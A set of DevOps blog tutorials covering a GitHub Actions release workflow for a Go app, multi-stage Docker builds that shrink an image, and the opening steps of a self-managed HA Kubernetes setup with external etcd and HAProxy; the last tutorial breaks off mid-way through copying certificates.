          git checkout -b ${{ env.PR_BRANCH }}

      - name: Create Changelog
        uses: TriPSs/conventional-changelog-action@dd734f74fce61a6e02f821ee1b5930bc79a23534 # v5
        id: changelog
        with:
          github-token: ${{ github.token }}
          git-user-name: "github-actions[bot]"
          git-user-email: "github-actions[bot]@users.noreply.github.com"
          git-branch: ${{ env.PR_BRANCH }}
          skip-git-pull: true
          output-file: false
          version-file: .github/package.yaml
          create-summary: true

      - name: Create Changelog PR
        if: steps.changelog.outputs.skipped == 'false'
        run: |
          gh pr create --base main --head ${{ env.PR_BRANCH }} --title 'chore(release): ${{ steps.changelog.outputs.tag }} [skip-ci]' --body '${{ steps.changelog.outputs.clean_changelog }}'
        env:
          GH_TOKEN: ${{ github.token }}

      - name: Approve Changelog PR
        if: steps.changelog.outputs.skipped == 'false'
        run: |
          gh pr review --approve ${{ env.PR_BRANCH }}
        env:
          GH_TOKEN: ${{ secrets.GH_OWNER_TOKEN }}

      - name: Merge Changelog PR
        if: steps.changelog.outputs.skipped == 'false'
        run: |
          gh pr merge --squash --auto --delete-branch ${{ env.PR_BRANCH }}
        env:
          GH_TOKEN: ${{ secrets.GH_OWNER_TOKEN }}
```

Breaking it down:

* We have a `changelog` job that depends on `lint`, `build` and `test`
    
* It runs only if the event name is not `pull_request`
    
* We have defined the outputs so that we access them in the further jobs!
    
* We declare a `PR_BRANCH` an environment variable to reuse the PR branch across all the jobs
    
* We created the branch for the PR `git checkout -b ${{ env.PR_BRANCH }}`
    
* `TriPSs/conventional-changelog-action` has all the options specified, you can look at the docs to see what they do!
    
* The only important options are `version-file` which should be `package.json` for NodeJs Users, and `.github/package.yaml` (the file we created) for most other users. `output-file` is for changelog, I don't like having a changelog file because I can just use the GitHub Releases page to replace it.
    
* Then we create the PR to update the version `gh pr create`
    
* Finally, we merge it with **A SECRET** called `GH_OWNER_TOKEN`
    

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Make sure to add the <strong>GH_OWNER_TOKEN</strong> with the permissions necessary to merge the PR</div>
</div>

This does 3 things:

* Creates the `tag` on GitHub
    
* Makes the PR to update the version on GitHub
    
* Create an automated change log
    

### The rest of the problems in bulk

Now we finally add a `release` job with `softprops/action-gh-release`

```yaml
  release:
    name: Release
    needs: changelog
    if: github.event_name != 'pull_request' && needs.changelog.outputs.skipped == 'false'
    runs-on: ubuntu-latest

    steps:
      - name: Checkout
        uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4

      - name: Setup Go
        uses: actions/setup-go@0c52d547c9bc32b1aa3301fd7a9cb496313a4491 # v5
        with:
          go-version: ${{ env.GO_VERSION }}
      - name: Install Dependencies
        run: go mod download
      - name: Verify Dependencies
        run: go mod verify
      - name: Cross-Build ${{ env.APP_NAME }}
        run: |
          chmod +x ./scripts/build.sh
          CROSS_BUILD=true APP_NAME=${{ env.APP_NAME }} VERSION=${{ needs.changelog.outputs.version }} ./scripts/build.sh

      - name: Create Release
        uses: softprops/action-gh-release@de2c0eb89ae2a093876385947365aca7b0e5f844 # v1
        with:
          token: ${{ secrets.GH_OWNER_TOKEN }}
          tag_name: ${{ needs.changelog.outputs.tag }}
          prerelease: false
          draft: false
          files: bin/*
          generate_release_notes: true
          name: ${{ needs.changelog.outputs.tag }}
          body: |
            <details>
              <summary>🤖 Autogenerated Conventional Changelog</summary>

            ${{ needs.changelog.outputs.clean_changelog }}
            </details>
```

Breaking down what we've done here:

* We only execute this job `changelog.outputs.skipped` is not false
    
* We set up to repeat all the things we did during `build`
    
* `softprops/action-gh-release` is being used to create the release on GitHub
    
    * We tell it the tag we get from the `changelog` job
        
    * `generate_release_notes` is set to true to generate the GitHub-style release notes + it creates those cool contributor shoutouts
        
    * `files` tells it which files to upload with the release
        
    * `body` uses the changelog from the `changelog` step
        

## Let's look at the progress

This is the workflow we have right now. It builds, tests, figures out what release to make and makes a release on GitHub.

```yaml
name: CI

on:
  push:
    branches:
      - main
  pull_request:

permissions:
  contents: write
  packages: write
  pull-requests: write

env:
  GO_VERSION: 1.21.3
  APP_NAME: go-todo-api

jobs:
  lint:
    name: Lint
    runs-on: ubuntu-latest

    steps:
      - name: Checkout
        uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
      - name: Setup Go
        uses: actions/setup-go@0c52d547c9bc32b1aa3301fd7a9cb496313a4491 # v5
        with:
          go-version: ${{ env.GO_VERSION }}
      - name: Install Dependencies
        run: go mod download
      - name: Verify Dependencies
        run: go mod verify
      - name: Lint ${{ env.APP_NAME }}
        run: go vet ./...

  build:
    name: Build
    runs-on: ubuntu-latest

    steps:
      - name: Checkout
        uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
      - name: Setup Go
        uses: actions/setup-go@0c52d547c9bc32b1aa3301fd7a9cb496313a4491 # v5
        with:
          go-version: ${{ env.GO_VERSION }}
      - name: Install Dependencies
        run: go mod download
      - name: Verify Dependencies
        run: go mod verify
      - name: Build ${{ env.APP_NAME }}
        run: |
          chmod +x ./scripts/build.sh
          ./scripts/build.sh

  test:
    name: Test
    needs: build
    runs-on: ubuntu-latest

    steps:
      - name: Checkout
        uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
      - name: Setup Go
        uses: actions/setup-go@0c52d547c9bc32b1aa3301fd7a9cb496313a4491 # v5
        with:
          go-version: ${{ env.GO_VERSION }}
      - name: "Warning: No test cases"
        run: echo "Reminder to create test cases"
      - name: Install Dependencies
        run: go mod download
      - name: Verify Dependencies
        run: go mod verify
      - name: Test ${{ env.APP_NAME }}
        run: go test -v ./...

  changelog:
    name: Changelog
    needs:
      - lint
      - build
      - test
    if: github.event_name != 'pull_request'
    runs-on: ubuntu-latest

    outputs:
      skipped: ${{ steps.changelog.outputs.skipped }}
      tag: ${{ steps.changelog.outputs.tag }}
      clean_changelog: ${{ steps.changelog.outputs.clean_changelog }}
      version: ${{ steps.changelog.outputs.version }}

    env:
      PR_BRANCH: release-ci-${{ github.sha }}

    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
      - name: Create Branch
        run: |
          git checkout -b ${{ env.PR_BRANCH }}

      - name: Create Changelog
        uses: TriPSs/conventional-changelog-action@dd734f74fce61a6e02f821ee1b5930bc79a23534 # v5
        id: changelog
        with:
          github-token: ${{ github.token }}
          git-user-name: "github-actions[bot]"
          git-user-email: "github-actions[bot]@users.noreply.github.com"
          git-branch: ${{ env.PR_BRANCH }}
          skip-git-pull: true
          output-file: false
          version-file: .github/package.yaml
          create-summary: true

      - name: Create Changelog PR
        if: steps.changelog.outputs.skipped == 'false'
        run: |
          gh pr create --base main --head ${{ env.PR_BRANCH }} --title 'chore(release): ${{ steps.changelog.outputs.tag }} [skip-ci]' --body '${{ steps.changelog.outputs.clean_changelog }}'
        env:
          GH_TOKEN: ${{ github.token }}

      - name: Approve Changelog PR
        if: steps.changelog.outputs.skipped == 'false'
        run: |
          gh pr review --approve ${{ env.PR_BRANCH }}
        env:
          GH_TOKEN: ${{ secrets.GH_OWNER_TOKEN }}

      - name: Merge Changelog PR
        if: steps.changelog.outputs.skipped == 'false'
        run: |
          gh pr merge --squash --auto --delete-branch ${{ env.PR_BRANCH }}
        env:
          GH_TOKEN: ${{ secrets.GH_OWNER_TOKEN }}

  release:
    name: Release
    needs: changelog
    if: github.event_name != 'pull_request' && needs.changelog.outputs.skipped == 'false'
    runs-on: ubuntu-latest

    steps:
      - name: Checkout
        uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4

      - name: Setup Go
        uses: actions/setup-go@0c52d547c9bc32b1aa3301fd7a9cb496313a4491 # v5
        with:
          go-version: ${{ env.GO_VERSION }}
      - name: Install Dependencies
        run: go mod download
      - name: Verify Dependencies
        run: go mod verify
      - name: Cross-Build ${{ env.APP_NAME }}
        run: |
          chmod +x ./scripts/build.sh
          CROSS_BUILD=true APP_NAME=${{ env.APP_NAME }} VERSION=${{ needs.changelog.outputs.version }} ./scripts/build.sh

      - name: Create Release
        uses: softprops/action-gh-release@de2c0eb89ae2a093876385947365aca7b0e5f844 # v1
        with:
          token: ${{ secrets.GH_OWNER_TOKEN }}
          tag_name: ${{ needs.changelog.outputs.tag }}
          prerelease: false
          draft: false
          files: bin/*
          generate_release_notes: true
          name: ${{ needs.changelog.outputs.tag }}
          body: |
            <details>
              <summary>🤖 Autogenerated Conventional Changelog</summary>

            ${{ needs.changelog.outputs.clean_changelog }}
            </details>
```

Now we have an awesome release automation that releases every single time we push to GitHub 🚀

## Bonus: Publishing to DockerHub & GHCR

If you have a Dockerfile, let's build an image and push it to DockerHub & GHCR.

```yaml
  deploy:
    name: Deploy Image
    needs: changelog
    if: github.event_name != 'pull_request' && needs.changelog.outputs.skipped == 'false'
    runs-on: ubuntu-latest

    steps:
      - name: Checkout
        uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4

      - name: Login docker.io
        uses: docker/login-action@343f7c4344506bcbf9b4de18042ae17996df046d # v3
        with:
          registry: docker.io
          username: ${{ secrets.DOCKER_USERNAME }}
          password: ${{ secrets.DOCKER_PASSWORD }}

      - name: Login ghcr.io
        uses: docker/login-action@343f7c4344506bcbf9b4de18042ae17996df046d # v3
        with:
          registry: ghcr.io
          username: ${{ github.repository_owner }}
          password: ${{ secrets.GH_OWNER_TOKEN }}

      - name: Setup Docker Metadata
        uses: docker/metadata-action@dbef88086f6cef02e264edb7dbf63250c17cef6c # v5
        id: meta
        with:
          images: |
            docker.io/${{ secrets.DOCKER_USERNAME }}/${{ env.APP_NAME }}
            ghcr.io/${{ github.repository_owner }}/${{ env.APP_NAME }}
          tags: |
            latest
            ${{ needs.changelog.outputs.version }}
            ${{ github.sha }}

      - name: Build and Push Docker Image
        uses: docker/build-push-action@4a13e500e55cf31b7a5d59a38ab2040ab0f42f56 # v5
        with:
          context: .
          push: true
          tags: ${{ steps.meta.outputs.tags }}
          labels: ${{ steps.meta.outputs.labels }}
```

We created a `deploy` job in the workflow, here is what it does:

* Once we have successfully made the release
    
* We authenticate to 2 Docker Registries using the official `docker/login-action`
    
* Using `docker/metadata-action` we set up metadata of the action, including:
    
    * Image name, we define the image name using `APP_NAME` variable we declared earlier for both the docker hub and `ghcr`.
        
    * We set three tags for each of the images: `latest`, the version of the release and the SHA of the commit
        
* Finally, we build and push to the registries using the `docker/build-push-action` with the Dockerfile in the root of the repository.
    

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Make sure to create the <strong>DOCKER_USERNAME</strong> and <strong>DOCKER_PASSWORD</strong> to push to DockerHub.</div>
</div>

Here's the [source code](https://github.com/xkrishguptaa/go-todo-api/blob/main/.github/workflows/ci.yml) for the workflow file, and this is an [example run](https://github.com/xkrishguptaa/go-todo-api/actions/runs/7299829622).  
  
Follow Kubesimplify on [**Hashnode**](https://kubesimplify.com/), [**Twitter**](https://twitter.com/kubesimplify) and [**LinkedIn**](https://www.linkedin.com/company/kubesimplify/). Join our [**Discord**](https://blog.kubesimplify.com/kubesimplify.com/discord) server to learn with us.

---

# Reducing Image Size using Multi-stage builds for a Go application

- Canonical: https://blog.kubesimplify.com/multi-stage-docker-build
- Published: 2024-02-05
- Summary: multi-stage docker builds

## Introduction

> Anyone who’s built their own containers, either for local development or for cloud deployment, knows the advantages of keeping container sizes small. In most cases, keeping the container image size small translates to real dollars saved by reducing bandwidth and storage costs on the cloud. In addition, smaller images ensure faster transfer and deployments when using them in a CI/CD server.
> 
> \- The [Official Docker Blog](https://arc.net/l/quote/cufnpxou)

Therefore smaller images translate to:

* Lesser Bandwidth Consumption
    
* Lesser Storage Consumption
    
* Faster Deployments on CI/CD
    

Which all translates to saving money 🤑

## What are multi-stage builds?

Docker has a very cool feature called multi-stage builds, it allows you to build the image with one base and run with another. Let's have a look:

![](/img/blog/multi-stage-docker-build/20fd5bdd-35c5-41c0-b469-9b772aa968e5.png align="center")

With multi-stage builds, the image get rid of:

* The heavy base image you needed to build the application
    
* The source code
    
* The dependencies need to "build" the application.
    

Golang programs are the perfect lab rats to carry out this on, why?

* Golang applications compile into "binaries" with customizable OS/ARCH
    
* The binary is standalone and does not need "go" in the environment or any of the dependencies
    

## The lab-rat

So for this 'article', I am creating a hello-world gin-gonic API, you can skip to the next section if you already have a Golang project.

Let's first initialize the application:

```bash
go mod init go-gin-api-template
go get -u github.com/gin-gonic/gin
touch main.go
```

Now, let's write the code, inside of main.go.

```go
package main

import "github.com/gin-gonic/gin"

func main() {
	router := gin.Default()

	router.GET("/", func(c *gin.Context) {
		c.JSON(200, gin.H{
			"message": "Hello World!",
		})
	})

	router.Run(":8080")
}
```

This does 4 things:

* Imports gin-gonic as a dependency
    
* Use gin gonic to create a router
    
* Set the `/` endpoint handler to a "Hello World" returner
    
* Listens on port:8080 for requests
    

Now let's create the docker image how we would do it usually (without multistage builds)

```dockerfile
FROM --platform=linux/amd64 golang:1.21.6-alpine@sha256:fd78f2fb1e49bcf343079bbbb851c936a18fc694df993cbddaa24ace0cc724c5

WORKDIR /app

COPY . .

RUN go get

RUN go build -tags=jsoniter -o app .

EXPOSE 8080

CMD ["./app"]
```

In this Dockerfile:

* I am using `golang-alpine` as the base image
    
* Copying the entire source code (`COPY . .`)
    
* Installing dependencies (`RUN go get`)
    
* Building in the app as the filename 'app' (`RUN go build -tags=jsoniter -o app .`)
    

Now let's build this image:

![](/img/blog/multi-stage-docker-build/fd1eb329-8fc1-4f79-96cd-2e3efd149d33.gif align="center")

Running it with `docker run -p 8080:8080` and looks like it works 🔥

![](/img/blog/multi-stage-docker-build/b1c6d762-9d97-4ce9-9914-750b38ea8ea3.png align="center")

For reference, I built the image twice and the size is `582MB`

![](/img/blog/multi-stage-docker-build/a9650914-698a-42ab-ade9-e56b3e3ffbcf.png align="center")

The image is one [GitHub Container Registry](https://github.com/xkrishguptaa/go-gin-api-template/pkgs/container/go-gin-api-template) and the [Repository Source/Template is also on GitHub](https://github.com/xkrishguptaa/go-gin-api-template)

## Implementing multi-stage builds

To implement that let's start with the original Dockerfile we already have:

```dockerfile
FROM --platform=linux/amd64 golang:1.21.6-alpine@sha256:fd78f2fb1e49bcf343079bbbb851c936a18fc694df993cbddaa24ace0cc724c5

WORKDIR /app

COPY . .

RUN go get

RUN go build -tags=jsoniter -o app .

EXPOSE 8080

CMD ["./app"]
```

Now, first of all, let's give the first base image a name,

```diff
- FROM --platform=linux/amd64 golang:1.21.6-alpine@sha256:fd78f2fb1e49bcf343079bbbb851c936a18fc694df993cbddaa24ace0cc724c5
+ FROM --platform=linux/amd64 golang:1.21.6-alpine as builder
```

Next up let's after `RUN go build -tags=jsoniter -o app .` let's add some code to configure the second base image:

```dockerfile
FROM alpine:latest

WORKDIR /app

COPY --from=builder /app/app .
```

So now the final `Dockerfile` is:

```dockerfile
FROM --platform=linux/amd64 golang:1.21.6-alpine as builder

WORKDIR /app

COPY . .

RUN go get

RUN go build -tags=jsoniter -o app .

FROM alpine:latest

WORKDIR /app

COPY --from=builder /app/app .

CMD ["./app"]

EXPOSE 8080
```

Let's run `docker build` now!

![](/img/blog/multi-stage-docker-build/e312a059-c8fd-4d16-a01f-cca372e8288e.gif align="center")

## Diving into each line of the Dockerfile

Let's look at what we are doing in the multi-stage build `Dockerfile`

```dockerfile
FROM --platform=linux/amd64 golang:1.21.6-alpine as builder

WORKDIR /app

COPY . .

RUN go get

RUN go build -tags=jsoniter -o app .

FROM alpine:latest

WORKDIR /app

COPY --from=builder /app/app .

CMD ["./app"]

EXPOSE 8080
```

* In the first line, `FROM --platform=linux/amd64 golang:1.21.6-alpine as builder` we are taking the Golang image from dockerhub and using it as our base image under the name of `builder`
    
* Second line we switch to the workdir `/app`, and third, we copy all the files we have in the folder to `/app` in the builder
    
* In the fourth line, we execute `go get` to install all of our dependencies
    
* Finally, in the fifth line, we build the application with the go build command (`go build -tags=jsoniter -o app .`). This created an executable binary at `/app/app` inside the `builder` (golang image).
    
* Then from the 6th line we move to a new base image (`alpine`), consider it like a total image we are creating. Alpine is a very lightweight image which is why we chose it.
    
* Inside Alpine, we `/app/app` from `builder` to use it
    
* We tell docker that this image is run using the `./app` binary in Alpine's workdir (the end path being: `/app/app`)
    

Finally, we write `EXPOSE 8080` so that the user knows that they have to run it with: `docker run -p 8080:8080 image-name`

## Things to be careful of

* You need to make sure that the final base image has all the dependencies or requirements.
    
* This cannot be used if your project is not standalone, for example: NodeJs projects (It's alright if you use it to transpile typescript)
    
* Some tooling such as TestContainers does not support it. Refer to [testcontainers/testcontainers-java#1112](https://github.com/testcontainers/testcontainers-java/issues/1112)
    
* FYI It does increase the build time, it took around ~35 seconds to build the first image and ~60 seconds to build the second one
    

## Result

So the original image was roughly `582MB` and now it comes around to `18.8MB`

![](/img/blog/multi-stage-docker-build/f834c8b7-a70a-4ff3-aabb-7fce47fb590d.png align="center")

That is ~30.9 times less than the original image 😱 This is how docker multi-stage builds can help us in reducing the image size!

Once again the [image](https://github.com/xkrishguptaa/workshop-docker-multistage-builds/pkgs/container/workshop-docker-multistage-builds) and the [source](https://github.com/xkrishguptaa/workshop-docker-multistage-builds) are available on [GitHub](https://github.com/xkrishguptaa/workshop-docker-multistage-builds)

---

Follow Kubesimplify on [**Hashnode**](https://kubesimplify.com/), [**Twitter**](https://twitter.com/kubesimplify)**,** and [**LinkedIn**](https://www.linkedin.com/company/kubesimplify/). Join our [**Discord**](https://blog.kubesimplify.com/kubesimplify.com/discord) server to learn with us.

---

# Automate the creation of Kubernetes self-managed HA cluster

- Canonical: https://blog.kubesimplify.com/ha-kubernetes
- Published: 2024-01-29
- Summary: This tutorial will walk you step by step creation of a HA Kubernetes cluster on Compute nodes with external ETCD cluster and HA Proxy for Loadbalancing.

## Introduction

> \[WARN\] you should know about kubernetes!
> 
> here are some suggested reads and Kubernetes workshop that you can watch to get upto speed with Kubernetes
> 
> %[https://www.youtube.com/watch?v=PN3VqbZqmD8] 
> 
> * [https://blog.kubesimplify.com/kubernetes-containerd-setup](https://blog.kubesimplify.com/kubernetes-containerd-setup)
>     
> * [https://blog.kubesimplify.com/pods-in-kubernetes](https://blog.kubesimplify.com/pods-in-kubernetes)
>     
> * [https://blog.kubesimplify.com/understanding-etcd-in-kubernetes-a-beginners-guide](https://blog.kubesimplify.com/understanding-etcd-in-kubernetes-a-beginners-guide)
>     

With the rise of managed Kuberentes, most companies opt for it but yet there are cases when you would need complete control of your Kubernetes cluster, managing the control plane, handling the backups when you are deploying at edge or in your own data center or otherwise. In such cases you have to go for a self managed Kubernetes cluster on the nodes which are wither VM's in the cloud or bare metal instances. In this post, we will dive intro creation of a complete self managed HA Kubernetes cluster with different configurations.

<iframe src="https://giphy.com/embed/RbDKaczqWovIugyJmW" width="480" height="270" class="giphy-embed"></iframe>

Let's try to understand from the design prospective, when we talk about a highly available Kubernetes clusters, it means that it can withstand failures even when the control plan goes down or etcd goes down. In the below design architecture can see that for a HA Kubernetes cluster there are

* 3 Controlplane nodes
    
* 3 etcd nodes that are outside of the cluster
    
* HA Proxy for loadbalancing the traffic going to the controlplane nodes
    

![](/img/blog/ha-kubernetes/04d8df8b-290b-40e2-95bc-87f6dd1f2cf8.png align="center")

Let's start rolling....

<iframe src="https://giphy.com/embed/MpLphYAo2vO4P2Facx" width="480" height="270" class="giphy-embed"></iframe>

## Assumptions & Prerequisites

For the steps to be done in this blog, you need to provision the infrastructure and you can choose any cloud provider for doing that. To perform all the next steps you would need to provision a total of 9 Virtual machines(3 for controlplane, 3 for etcd, 1 for Ha Proxy and 2 worker nodes).

[Ksctl](https://github.com/kubesimplify/ksctl) is a cloud agnostic infrastructure management tool and currently the POC for HA cluster in in progress.

%[https://github.com/ksctl/enhancements/tree/main/poc/etcd#readme] 

> **Note** we will be doing Etcd TLS configuration
> 
> * client connection is self-signed tls certificate
>     
> * peer connection is auto-tls certificate
>     
>     (If you want this as well with self-managed tls you can generate it, for this blog will go with auto-tls for peer conn)
>     
> 
> Make Sure you are a Root User when executing script

### Network Map

<iframe src="https://giphy.com/embed/cjbfyJrICOaKIXBWyG" width="480" height="307" class="giphy-embed"></iframe>

| Hostname | Role | Private IP | public IP |
| --- | --- | --- | --- |
| lb-0 | LoadBalancer | 192.168.1.8 | 74.220.22.92 |
| \- | \- | \- | \- |
| db-0 | Etcd-0 | 192.168.1.2 | \- |
| db-1 | Etcd-1 | 192.168.1.3 | \- |
| db-2 | Etcd-2 | 192.168.1.4 | \- |
| \- | \- | \- | \- |
| cp-0 | Control-Plane-0 | 192.168.1.9 | \- |
| cp-1 | Control-Plane-1 | 192.168.1.10 | \- |
| cp-2 | Control-Plane-2 | 192.168.1.11 | \- |
| \- | \- | \- | \- |
| wp-0 | Worker-Plane-0 | 192.168.1.12 | \- |
| wp-1 | Worker-Plane-1 | 192.168.1.13 | \- |

Above are the set of VM's we have provisioned.

## Step 1: Install tools according to the role of the VM

### Run this on all Etcd VMs

```bash
#!/bin/bash
set -xe
ETCD_VER=v3.5.10

# choose either URL
GOOGLE_URL=https://storage.googleapis.com/etcd
GITHUB_URL=https://github.com/etcd-io/etcd/releases/download
DOWNLOAD_URL=${GOOGLE_URL}

rm -f /tmp/etcd-${ETCD_VER}-linux-amd64.tar.gz
rm -rf /tmp/etcd-download-test && mkdir -p /tmp/etcd-download-test

curl -L ${DOWNLOAD_URL}/${ETCD_VER}/etcd-${ETCD_VER}-linux-amd64.tar.gz -o /tmp/etcd-${ETCD_VER}-linux-amd64.tar.gz
tar xzvf /tmp/etcd-${ETCD_VER}-linux-amd64.tar.gz -C /tmp/etcd-download-test --strip-components=1

rm -f /tmp/etcd-${ETCD_VER}-linux-amd64.tar.gz

mv -v /tmp/etcd-download-test/etcd /usr/local/bin
mv -v /tmp/etcd-download-test/etcdctl /usr/local/bin
mv -v /tmp/etcd-download-test/etcdutl /usr/local/bin

rm -rf /tmp/etcd-download-test

etcd --version
etcdctl version
etcdutl version
```

Creating the directory to hold Etcd certificates.

```bash
mkdir -p /var/lib/etcd
```

> **Reference**
> 
> %[https://github.com/etcd-io/etcd/releases/tag/v3.5.10] 

### Run this on all Control-plane and worker VMs

Below is the installation of the tools required for bootstrapping a Kubernetes cluster including kubelet, kubeadm and kubectl.

> Note: In releases older than Debian 12 and Ubuntu 22.04, folder /etc/apt/keyrings does not exist by default, and it should be created before the curl command.

> Reference
> 
> * https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/install-kubeadm/
>     
> * https://kubernetes.io/docs/setup/production-environment/container-runtimes/
>     

```bash
#!/bin/bash

set -xe
############# NOTE: script for K8s v1.28 #############
echo "memory swapoff"
sudo sed -i '/ swap / s/^\(.*\)$/#\1/g' /etc/fstab
sudo swapoff -a

cat <<EOF | sudo tee /etc/modules-load.d/k8s.conf
overlay
br_netfilter
EOF

sudo modprobe overlay
sudo modprobe br_netfilter

# sysctl params required by setup, params persist across reboots
cat <<EOF | sudo tee /etc/sysctl.d/k8s.conf
net.bridge.bridge-nf-call-iptables  = 1
net.bridge.bridge-nf-call-ip6tables = 1
net.ipv4.ip_forward                 = 1
EOF

# Apply sysctl params without reboot
sudo sysctl --system

# Status check
lsmod | grep br_netfilter
lsmod | grep overlay
sysctl net.bridge.bridge-nf-call-iptables net.bridge.bridge-nf-call-ip6tables net.ipv4.ip_forward

######### CONTAINER-D ###########
sudo apt-get update
sudo apt-get install ca-certificates curl gnupg

sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
sudo chmod a+r /etc/apt/keyrings/docker.gpg

echo \
  "deb [arch="$(dpkg --print-architecture)" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  "$(. /etc/os-release && echo "$VERSION_CODENAME")" stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

sudo apt-get update
sudo apt-get install containerd.io -y

mkdir -p /etc/containerd
containerd config default > /etc/containerd/config.toml
sudo systemctl restart containerd
sudo systemctl enable containerd
sudo sed -i 's/SystemdCgroup \= false/SystemdCgroup \= true/g' /etc/containerd/config.toml
sudo systemctl restart containerd

################# Kubernetes Install #################
sudo apt-get update -y

sudo apt-get install -y apt-transport-https ca-certificates curl gpg

curl -fsSL https://pkgs.k8s.io/core:/stable:/v1.28/deb/Release.key | sudo gpg --dearmor -o /etc/apt/keyrings/kubernetes-apt-keyring.gpg

echo 'deb [signed-by=/etc/apt/keyrings/kubernetes-apt-keyring.gpg] https://pkgs.k8s.io/core:/stable:/v1.28/deb/ /' | sudo tee /etc/apt/sources.list.d/kubernetes.list

sudo apt-get update
sudo apt-get install -y kubelet kubeadm kubectl
sudo apt-mark hold kubelet kubeadm kubectl

sudo systemctl enable kubelet
```

**Next up creating of directory to hold Etcd certificates.**

```bash
mkdir -vp /etcd/kubernetes/pki/etcd/
```

## Step 2: Configure Loadbalancer VM

Below is the general Script where you can replace the IP's according to your infrastructure setup.

```bash
#!/bin/bash
set -xe

sudo apt update
sudo apt install haproxy -y
sleep 2s
sudo systemctl start haproxy && sudo systemctl enable haproxy

cat <<EOF > haproxy.cfg
frontend kubernetes-frontend
  bind *:6443
  mode tcp
  option tcplog
  timeout client 10s
  default_backend kubernetes-backend

backend kubernetes-backend
  timeout connect 10s
  timeout server 10s
  mode tcp
  option tcp-check
  balance roundrobin

  server k3sserver-0 ${Controlplane_Private_IP_0}:6443 check
  server k3sserver-1 ${Controlplane_Private_IP_1}:6443 check
  server k3sserver-2 ${Controlplane_Private_IP_2}:6443 check

frontend nodeport-frontend
  bind *:30000-35000
  mode tcp
  option tcplog
  timeout client 10s
  default_backend nodeport-backend

backend nodeport-backend
  mode tcp
  timeout connect 10s
  timeout server 10s
  balance roundrobin

  server nodeport-0 ${Controlplane_Private_IP_0}
  server nodeport-1 ${Controlplane_Private_IP_1}
  server nodeport-2 ${Controlplane_Private_IP_2}

EOF

sudo mv haproxy.cfg /etc/haproxy/haproxy.cfg
sudo systemctl restart haproxy
```

You can validate your haproxy configuration using below command.

```bash
haproxy -f /etc/haproxy/haproxy.cfg -c
```

**Script according to our list of VM's:**

```bash
#!/bin/bash
set -xe

sudo apt update
sudo apt install haproxy -y
sleep 2s
sudo systemctl start haproxy && sudo systemctl enable haproxy

cat <<EOF > haproxy.cfg
frontend kubernetes-frontend
  bind *:6443
  mode tcp
  option tcplog
  timeout client 10s
  default_backend kubernetes-backend

backend kubernetes-backend
  timeout connect 10s
  timeout server 10s
  mode tcp
  option tcp-check
  balance roundrobin

  server k3sserver-0 192.168.1.9:6443 check
  server k3sserver-1 192.168.1.10:6443 check
  server k3sserver-2 192.168.1.11:6443 check


frontend nodeport-frontend
  bind *:30000-35000
  mode tcp
  option tcplog
  timeout client 10s
  default_backend nodeport-backend

backend nodeport-backend
  mode tcp
  timeout connect 10s
  timeout server 10s
  balance roundrobin

  server nodeport-0 192.168.1.9
  server nodeport-1 192.168.1.10
  server nodeport-2 192.168.1.11

EOF

sudo mv haproxy.cfg /etc/haproxy/haproxy.cfg
sudo systemctl restart haproxy
```

![](/img/blog/ha-kubernetes/93458267-da50-4635-b935-76095bcb90f8.png align="center")

## Step 3: Generate the self-signed certificate for client-server Etcd connection

### Generation of certificates

the below steps generate

`etcd-key.pem` -&gt; Client key

`etcd.pem` -&gt; Client certificate

`ca.pem` -&gt; CA certificate

There are 2 methods you can create them:

### Manual way

Run this on your local system (MANUAL STEP TO GENERATE TLS CERTS)

```bash
cd openssl
openssl genrsa -out ca-key.pem 2048
openssl req -new -key ca-key.pem -out ca-csr.pem -subj "/CN=etcd cluster"
openssl x509 -req -in ca-csr.pem -out ca.pem -days 3650 -signkey ca-key.pem -sha256
openssl genrsa -out etcd-key.pem 2048
openssl req -new -key etcd-key.pem -out etcd-csr.pem -subj "/CN=etcd"

echo subjectAltName = DNS:localhost,IP:192.168.1.2,IP:192.168.1.3,IP:192.168.1.4,IP:127.0.0.1 > extfile.cnf
openssl x509 -req -in etcd-csr.pem -CA ca.pem -CAkey ca-key.pem -CAcreateserial -days 3650 -out etcd.pem -sha256 -extfile extfile.cnf
```

### Automated way

Here is the gist to do the certificates in an automated way.

%[https://gist.github.com/dipankardas011/e425e4d1573a6f5f1f73dcaf53226ed7] 

You can copy the code and modify it according to your configuration.

It creates a `ca.pem` root certificate which will be used to sign other certificates, and then create `etcd.pem` client certificate and `etcd-key.pem` key which is signed by this root certificate

```bash
go run . 192.168.1.2 192.168.1.3 192.168.1.4 # provide the private IP of the etcd VMs to make ca only valid for SAN on them
```

> now you need to move these files to all etcd and controlplane VMs and the below steps will help

## Move the certificates to Etcd VMs

> **Note** make sure the directory already exists before copying the certificates in our case we have already created `/var/lib/etcd`

**Generic command:**

```bash
scp -i ${ssh-private-key} ca.pem etcd.pem etcd-key.pem ${username-vm}@${public-ip-etcd or via using baston host}:/var/lib/etcd
```

**Our script:**

```bash
scp -i ksctl-key ca.pem etcd.pem etcd-key.pem root@74.220.16.178:/var/lib/etcd
scp -i ksctl-key ca.pem etcd.pem etcd-key.pem root@74.220.19.12:/var/lib/etcd
scp -i ksctl-key ca.pem etcd.pem etcd-key.pem root@74.220.21.101:/var/lib/etcd
```

## Move the certificates Control plane VMs

> **Note** make sure the directory already exists before copying the certificate in my case I have already created `/etcd/kubernetes/pki/etcd/`

**Generic command:**

```bash
scp -i ${ssh-private-key} ca.pem etcd.pem etcd-key.pem ${username-vm}@${public-ip-controlplane-vm or via using baston host}:/etcd/kubernetes/pki/etcd/
```

**Our script:**

```bash
scp -i ksctl-key ca.pem etcd.pem etcd-key.pem root@74.220.23.131:/etcd/kubernetes/pki/etcd/
